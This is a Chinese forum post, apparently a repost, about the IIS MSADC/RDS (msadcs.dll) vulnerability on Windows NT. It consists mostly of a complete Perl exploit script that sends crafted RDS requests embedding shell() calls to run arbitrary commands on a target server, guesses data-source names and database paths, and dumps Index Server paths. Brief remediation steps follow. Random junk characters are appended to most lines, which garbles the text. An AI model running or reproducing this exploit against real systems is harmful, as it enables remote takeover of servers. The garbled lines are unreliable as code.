社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167928阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9{-H/YS\_s  
bMqFrG  
涉及程序: d}@n,3  
Microsoft NT server u/J1Z>0  
tSVS ogGd  
描述: RvyCc!d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 HgTBON(  
zw0u|q;#  
详细: B3E}fQm )  
如果你没有时间读详细内容的话,就删除: yB4eUa!1  
c:\Program Files\Common Files\System\Msadc\msadcs.dll GGsAisF"N  
有关的安全问题就没有了。 MKX58y{+  
 4Gj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `X(H,Q}*;  
)c<[@ ::i  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 QvlV jDIy  
关于利用ODBC远程漏洞的描述,请参看: yL23 Nqe  
V%voe  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z -'e<v;w  
/lc4oXG8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 oW6b3Q /B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |)[&V3+|  
R?#.z#  
这里不再论述。 b{.Y?.U  
KB gFS%-W  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: jM>;l6l  
P}he}k&IR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8`Tj*7Y=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! _:KeSskuO  
D&D-E~b^  
-=qHwcId  
#将下面这段保存为txt文件,然后: "perl -x 文件名" S>d7q  
)gk tI!  
#!perl gj4ONmY  
# %]o/p_<  
# MSADC/RDS 'usage' (aka exploit) script &jh17y  
# Nh^q&[?  
# by rain.forest.puppy 4XSq\.@G  
# eRg;)[#0>$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me U/-|hfh  
# beta test and find errors! R+9 hog  
k>:\4uI|<\  
use Socket; use Getopt::Std; &x/Z {ut  
getopts("e:vd:h:XR", \%args); vtRz;~,Z  
zT'(I6 S:)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Q 34-a"6)  
P8 R^46  
if (!defined $args{h} && !defined $args{R}) { VYQ]?XF3i  
print qq~ 5L,q,kVS  
Usage: msadc.pl -h <host> { -d <delay> -X -v } .+~9 vH  
-h <host> = host you want to scan (ip or domain) '^tC|)  
-d <seconds> = delay between calls, default 1 second )+f"J$ah  
-X = dump Index Server path table, if available sc z8 `%  
-v = verbose Sre:l'.  
-e = external dictionary file for step 5 )O>M~  
Q!h+1fb  
Or a -R will resume a command session *nwH1FjH  
b[MKo7  
~; exit;} B8>@q!G8P  
5oo6d4[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; [2ri=lf,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ;V bB]aUg  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8L*#zaSAf  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~31-)*tJ]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4\ny]A:~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } DK|/|C}6  
G#6O'G N  
if (!defined $args{R}){ $ret = &has_msadc; 8Y;2.Z`Rz  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9!6u Yf+  
|wuN`;gc"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" <4N E)!#  
. "cmd /c "; Q;kl-upn~8  
$in=<STDIN>; chomp $in; v 1 f^gde  
$command="cmd /c " . $in ; b 2~5LZ  
<@;bxSUx  
if (defined $args{R}) {&load; exit;} _$KkSMA~_  
o)H| #9h5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; w} r mYQ  
&try_btcustmr; J,k.*t:  
x #t?`  
print "\nStep 2: Trying to make our own DSN...";  ;ih;8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }{.V^;  
\# 1p  
print "\nStep 3: Trying known DSNs..."; e?;  
&known_dsn; R[H#a v  
\M~uNWv|  
print "\nStep 4: Trying known .mdbs..."; rWJKK  
&known_mdb; 9/O\769"'  
m [BV{25  
if (defined $args{e}){ I<S*"[nV  
print "\nStep 5: Trying dictionary of DSN names..."; u89Q2\z~"M  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } )Zrn?KM  
|Rb8 / WX  
print "Sorry Charley...maybe next time?\n"; ~jJe|zg>  
exit; TIno"tc3  
gKRlXVS  
############################################################################## !iUT Re  
TtgsM}Fm  
sub sendraw { # ripped and modded from whisker $"3cN&  
sleep($delay); # it's a DoS on the server! At least on mine...  xC2y/ ?  
my ($pstr)=@_; o>I,$=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || h-\+# .YP  
die("Socket problems\n"); *?o 'sTH  
if(connect(S,pack "SnA4x8",2,80,$target)){ %%lJyLq'Vk  
select(S); $|=1; 9dp1NjOtAc  
print $pstr; my @in=<S>; #YSFiy:+r_  
select(STDOUT); close(S); }jYVB|2  
return @in; <M\#7.](  
} else { die("Can't connect...\n"); }} @y,>cDg  
#W/ATsDt  
############################################################################## b3q&CJ4|  
/=KEM gI?  
sub make_header { # make the HTTP request K%;=i2:  
my $msadc=<<EOT HyIyrUrYW  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `Nv7c{M^  
User-Agent: ACTIVEDATA KnUVR!H|  
Host: $ip \Lm`jU(:l  
Content-Length: $clen "f-HOd\=  
Connection: Keep-Alive M?I^`6IOc8  
VRUA<x  
ADCClientVersion:01.06 3u9}z+q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 l)Mi?B~N  
P@U2Q%\  
--!ADM!ROX!YOUR!WORLD! l$C Y gm  
Content-Type: application/x-varg *Q;?p hr  
Content-Length: $reqlen ;;Jx1Q  
Pe` jNiI  
EOT `Yyi;!+0  
; $msadc=~s/\n/\r\n/g; | zOwC9-6  
return $msadc;} ubl)$jZ:Q  
_Pn 1n  
############################################################################## (ZQ?1Qxo  
R HmT$^=  
sub make_req { # make the RDS request LVJn2t^  
my ($switch, $p1, $p2)=@_; VhU,("&pm  
my $req=""; my $t1, $t2, $query, $dsn; c+:^0&l  
ra^"Vr  
if ($switch==1){ # this is the btcustmr.mdb query <BK?@Xy  
$query="Select * from Customers where City=" . make_shell(); {}BAQ9|q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @R;&PR#5  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} i\kDb=  
BxB B](  
elsif ($switch==2){ # this is general make table query zEw~t&:e  
$query="create table AZZ (B int, C varchar(10))"; rg I Z  
$dsn="$p1";} fRp(&%8E  
X5=I{eY}  
elsif ($switch==3){ # this is general exploit table query fD%20P`.  
$query="select * from AZZ where C=" . make_shell(); 2j$~lI  
$dsn="$p1";} Kr+#)S  
)oZ2,]us!  
elsif ($switch==4){ # attempt to hork file info from index server iK8jX?  
$query="select path from scope()"; Myh?=:1~(c  
$dsn="Provider=MSIDXS;";} f\H1$q\p\  
4j<[3~:0 o  
elsif ($switch==5){ # bad query 1e I_F8I U  
$query="select"; @su!9]o  
$dsn="$p1";} l$m}aQ%h  
7hT@,|(j  
$t1= make_unicode($query); NdC5w-WY  
$t2= make_unicode($dsn); T `o[whr  
$req = "\x02\x00\x03\x00"; ~gg&G~ ET  
$req.= "\x08\x00" . pack ("S1", length($t1)); gq~"Z[T  
$req.= "\x00\x00" . $t1 ; =0SJf 3  
$req.= "\x08\x00" . pack ("S1", length($t2)); j2mMm/kq\  
$req.= "\x00\x00" . $t2 ; Qki? >j"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; I 1Yr{(ho  
return $req;} =tl~@~pqI  
Px gul7  
############################################################################## _!9I f  
Op hD_^  
sub make_shell { # this makes the shell() statement -:Bgp*S  
return "'|shell(\"$command\")|'";} qpq(<  
t"YN:y8-  
############################################################################## #{J+BWP\o  
C2 yJ Xi`$  
sub make_unicode { # quick little function to convert to unicode ^,` L!3  
my ($in)=@_; my $out; 'a"Uw"/p[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } fP llN8n  
return $out;} qf{HGn_9~1  
mv(/M t  
############################################################################## ^grDP*;W  
UkC'`NWF*  
sub rdo_success { # checks for RDO return success (this is kludge) *T:jR  
my (@in) = @_; my $base=content_start(@in); m",G;VN  
if($in[$base]=~/multipart\/mixed/){ N[N4!k )!$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ."`||@|  
return 0;} 7t+H94KG7  
t;_1/ mt  
############################################################################## (*\y  
LdnTdh?  
sub make_dsn { # this makes a DSN for us @@=,bO  
my @drives=("c","d","e","f"); TW=N+ye^1(  
print "\nMaking DSN: "; kB=5=#s  
foreach $drive (@drives) { %Lq}5zB  
print "$drive: "; ypx`!2Q$  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . A>\3FeU>UC  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" (R(NEN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Bk5ft4v-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; i*mI-l  
return 0 if $2 eq "404"; # not found/doesn't exist Q+Eqaz`  
if($2 eq "200") { =nlj|S ~3  
foreach $line (@results) { ^cuH\&&7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /'^ BH A|h  
} return 0;} \\35} 9  
X n Rm9%  
############################################################################## ^MVOaV65  
o5G]|JM_  
sub verify_exists { *p|->p6,u  
my ($page)=@_; S KGnx  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !e('T@^u6u  
return $results[0];} ,I:[-|Q  
Wj, {lJ,  
############################################################################## 1[\I9dv2  
-?Cu-'  
sub try_btcustmr { P@Vs\wAT  
my @drives=("c","d","e","f"); C#RueDa.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Pd~z%VoO  
IG~Zxn1o  
foreach $dir (@dirs) { ]PbwG  
print "$dir -> "; # fun status so you can see progress v+CW([zAx#  
foreach $drive (@drives) { PmT<S,}L  
print "$drive: "; # ditto o%K1!'  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; pE$*[IvQ'  
$reqlenlen=length( "$reqlen" ); y8]vl;88yY  
$clen= 206 + $reqlenlen + $reqlen; CS0q#?  
5'_:>0}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kqGydGh*"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} u3sr"w&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |V^f}5gd  
K] &GSro  
############################################################################## `R*!GHro  
jEK{47i v  
sub odbc_error { 2 S2;LB  
my (@in)=@_; my $base; ,/[1hhP@  
my $base = content_start(@in); Ld=6'C8ud  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this x[$ :^5V  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]Nue1xV_  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i'}"5O+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N5b&tJb M0  
return $in[$base+4].$in[$base+5].$in[$base+6];} A$?o3--#]G  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; TBgiA}|\D  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . fqn;,!D?9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} N<QLvZh  
WrR8TYq9D]  
############################################################################## {(h!JeQ  
7 *4i0{]  
sub verbose { 5,R<9FjW  
my ($in)=@_; x(rl|o  
return if !$verbose; GD!!xt  
print STDOUT "\n$in\n";} !X=93%  
t`1~5#?Du(  
############################################################################## oOGFg3X  
FQcm =d_s  
sub save { Z-aB[hE  
my ($p1, $p2, $p3, $p4)=@_; Q|f)Awe$  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :kXxxS  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; zF&_9VNk=c  
close OUT;} .iST!nh  
=HMuAUa.  
############################################################################## YW"nPZNPy~  
nDNK}O~'  
sub load { 'f6!a5qC  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; O\w-hk  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 4n%|h-!8  
@p=<IN>; close(IN); KCn#*[  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ,_:6qn{  
$target= inet_aton($ip) || die("inet_aton problems"); +@<@x4yt  
print "Resuming to $ip ..."; zZV9`cqZ{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]K<7A!+@@p  
if($p[1]==1) { H)K.2Q  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; oB+@05m8  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]Y f8  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); mQ\oR|  
if (rdo_success(@results)){print "Success!\n";} TaZlfe5z  
else { print "failed\n"; verbose(odbc_error(@results));}} r6 kQMFA  
elsif ($p[1]==3){ N Q }5'  
if(run_query("$p[3]")){ +sXnC\  
print "Success!\n";} else { print "failed\n"; }} 07Oagq(  
elsif ($p[1]==4){ ]jV1/vJ-!  
if(run_query($drvst . "$p[3]")){ u<HJFGLzI  
print "Success!\n"; } else { print "failed\n"; }} [LSs|f  
exit;} qtp-w\#S$  
C(}Kfi@6N  
############################################################################## n'@XgUI,  
Ky{C;7X  
sub create_table { ~P9^4  
my ($in)=@_; EtDzmpJR>  
$reqlen=length( make_req(2,$in,"") ) - 28; O! w&3 p  
$reqlenlen=length( "$reqlen" ); R#/0}+-M  
$clen= 206 + $reqlenlen + $reqlen; 7[8d-Sf24{  
my @results=sendraw(make_header() . make_req(2,$in,"")); g]._J  
return 1 if rdo_success(@results); 5 ~"m$/yE  
my $temp= odbc_error(@results); verbose($temp); P2 +^7x?  
return 1 if $temp=~/Table 'AZZ' already exists/; 0|?DA12Z  
return 0;} M U2];  
--TY[b  
############################################################################## J#G\7'?{  
x%RE3J-  
sub known_dsn { jDW$}^ 6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {!"lHM%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $"Nqto~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", fJn4'Q*U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); KPa&P:R3  
F/D/1w^ iR  
foreach $dSn (@dsns) { `e5f69"  
print "."; 6)9X+U@  
next if (!is_access("DSN=$dSn")); hle@= e/n  
if(create_table("DSN=$dSn")){ %UCuI9  
print "$dSn successful\n"; Fw6x (j"  
if(run_query("DSN=$dSn")){ 1VG7[#Zy  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { do@BJWo  
print "Something's borked. Use verbose next time\n";}}} print "\n";} @FuX^Q.[  
<2PO3w?Z  
############################################################################## C6:; T%  
ra{HlB{  
sub is_access { - [7S.  
my ($in)=@_; h>n<5{zqM  
$reqlen=length( make_req(5,$in,"") ) - 28; xQ8?"K;iX  
$reqlenlen=length( "$reqlen" ); \eS-wO7%  
$clen= 206 + $reqlenlen + $reqlen; "C]_pWk  
my @results=sendraw(make_header() . make_req(5,$in,"")); _^Q =n>G  
my $temp= odbc_error(@results); 1$uO%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); y?V#LW[^E  
return 0;} RZI4N4o  
(M,*R v  
############################################################################## u]t#Vf-$u  
o&rNM5:  
sub run_query { )n$RHt+:>  
my ($in)=@_; zA&]#mc  
$reqlen=length( make_req(3,$in,"") ) - 28; h?&S*)1  
$reqlenlen=length( "$reqlen" ); ],Y+|uX->  
$clen= 206 + $reqlenlen + $reqlen; }I#,o!)Vd  
my @results=sendraw(make_header() . make_req(3,$in,""));  Tv~Ys#  
return 1 if rdo_success(@results); XNB4KjT  
my $temp= odbc_error(@results); verbose($temp); CGCSfoS9f  
return 0;} I)f54AX  
qF4pTQf  
############################################################################## 4:qM'z  
ziD+% -  
sub known_mdb { *7!*kq g!u  
my @drives=("c","d","e","f","g"); _,E! <  
my @dirs=("winnt","winnt35","winnt351","win","windows"); H,U qU3b3  
my $dir, $drive, $mdb; 4CioVQdj  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )Jd{WC.  
m#t  
# this is sparse, because I don't know of many (J\Qo9Il  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3AarRQWsn  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", +FtL_7[v  
"\\system32\\certmdb.mdb", Pqv9> N|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% I i J%.U  
c"CF&vTp  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $4]"g}_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", =VDtZSa!$^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", w_^g-P[o-  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ck^jgB.7  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", e{`DvfY21  
"\\cfusion\\database\\cfexamples.mdb", v/}h y$7  
"\\cfusion\\database\\cfsnippets.mdb", C-L["O0[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", M9dUo7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |%7OI#t^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", N^By#Z  
"\\cfusion\\database\\smpolicy.mdb", "%{J$o  
"\\cfusion\\database\cypress.mdb", #wZBWTj.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", J l9w/T  
"\\website\\cgi-win\\dbsample.mdb", p+|(lrYC  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", jR o4+8  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" xouy|Nn'  
); #these are just j?9fb  
foreach $drive (@drives) { 4Nz]LK%@  
foreach $dir (@dirs){ \J3n[6;  
foreach $mdb (@sysmdbs) { K@+(6\6I  
print "."; rJ_fg$.<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ '5m`[S-IU  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 'Lv>!s 7  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ "r.eN_d  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ao.v]6a  
} else { print "Something's borked. Use verbose next time\n"; }}}}} nXcOFU  
k6W  [//  
foreach $drive (@drives) { P*sb@y>}O  
foreach $mdb (@mdbs) { )K^5+oC17  
print "."; +UC-  
if(create_table($drv . $drive . $dir . $mdb)){ A]"IQ-  
print "\n" . $drive . $dir . $mdb . " successful\n"; lhhp6-r  
if(run_query($drv . $drive . $dir . $mdb)){ $4*k=+wS  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; z9[BQ(9t  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4?9cyv4H  
} 4+_r0  
}@S''AA\  
############################################################################## :6X?EbXhK  
h"5!puN+  
sub hork_idx { b py576GwA  
print "\nAttempting to dump Index Server tables...\n"; )nJh) {4\  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; M4(`o^n  
$reqlen=length( make_req(4,"","") ) - 28; H@pF3gh  
$reqlenlen=length( "$reqlen" ); %["V "{ z  
$clen= 206 + $reqlenlen + $reqlen; "<I*ViZ  
my @results=sendraw2(make_header() . make_req(4,"","")); ISl-W1u}  
if (rdo_success(@results)){ !]z6?kUK  
my $max=@results; my $c; my %d; S`?cs^?  
for($c=19; $c<$max; $c++){ gw);b)&mx  
$results[$c]=~s/\x00//g; 3"J85V%h]n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; l\{{iAC]I  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; u4p){|x7s  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; v22ZwP  
$d{"$1$2"}="";} p[lciWEW  
foreach $c (keys %d){ print "$c\n"; } $S _VR  
} else {print "Index server doesn't seem to be installed.\n"; }} a4iq_F#NF  
4P\?vz"  
############################################################################## .8.LW4-ff  
vD*9b.*  
sub dsn_dict { {]CO;5:  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); EzDQoN7Em  
while(<IN>){ V[N4 {c  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; V}UYr Va#9  
next if (!is_access("DSN=$dSn")); !K$qh{n  
if(create_table("DSN=$dSn")){ 8h| 9;%  
print "$dSn successful\n"; O'} %Bjl  
if(run_query("DSN=$dSn")){ ?h4Rh0rkX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 49m}~J=*  
print "Something's borked. Use verbose next time\n";}}} C0@[4a$8f  
print "\n"; close(IN);} B&oP0 jS  
d;9F2,k$w  
##############################################################################  E\! <=  
R7xEE7p  
sub sendraw2 { # ripped and modded from whisker J|A:C[7 2  
sleep($delay); # it's a DoS on the server! At least on mine... 4BgrG[l)  
my ($pstr)=@_; zU$S#4/C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hB)TH'R{:  
die("Socket problems\n");  M} {'kK  
if(connect(S,pack "SnA4x8",2,80,$target)){ KDzTe9  
print "Connected. Getting data"; nm597WeZp  
open(OUT,">raw.out"); my @in; iCrLZ" $M  
select(S); $|=1; print $pstr; ?H2{R:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} h (1 }g/  
close(OUT); select(STDOUT); close(S); return @in; Y]R;>E5o|  
} else { die("Can't connect...\n"); }} PRE\ 2lLY  
2PSt*(  
############################################################################## [C"[#7  
 H*]B7?S  
sub content_start { # this will take in the server headers hRvj iK\  
my (@in)=@_; my $c; %[9d1F 3  
for ($c=1;$c<500;$c++) { ~HH6=qjU)  
if($in[$c] =~/^\x0d\x0a/){ ;5fq[v^P:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 4dwG6-  
else { return $c+1; }}} K^'NG!  
return -1;} # it should never get here actually #I(Ho:b  
Z7t-{s64  
############################################################################## 0=^A{V!m  
M >BcYbXf  
sub funky { }JKK"d}U  
my (@in)=@_; my $error=odbc_error(@in); BCK0fk~  
if($error=~/ADO could not find the specified provider/){ T+y3Ph--^  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; aA5rvP +  
exit;} 09psqXU@I  
if($error=~/A Handler is required/){ }L1 -2  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,:e##g~k  
exit;} 7sci&!.2`  
if($error=~/specified Handler has denied Access/){ ,`ZIW  
print "\nServer has custom handler filters (they most likely are patched)\n"; +bbhm0f  
exit;}} i!jR>+  
lrXi *u]  
############################################################################## oMj;9,WK'  
JNYFu0  
sub has_msadc { 5#SD$^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); I2$.o0=3Y  
my $base=content_start(@results); e+t2F |xDh  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); gVs8W3GW  
return 0;} `zJTVi4  
9(PQ7}  
######################## #6%9*Rh  
`T]1u4^E  
rfdT0xfcU  
解决方案: @}{~Ofs  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll vQ/&iAyut  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )OAd[u<  
nz=X/J6  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五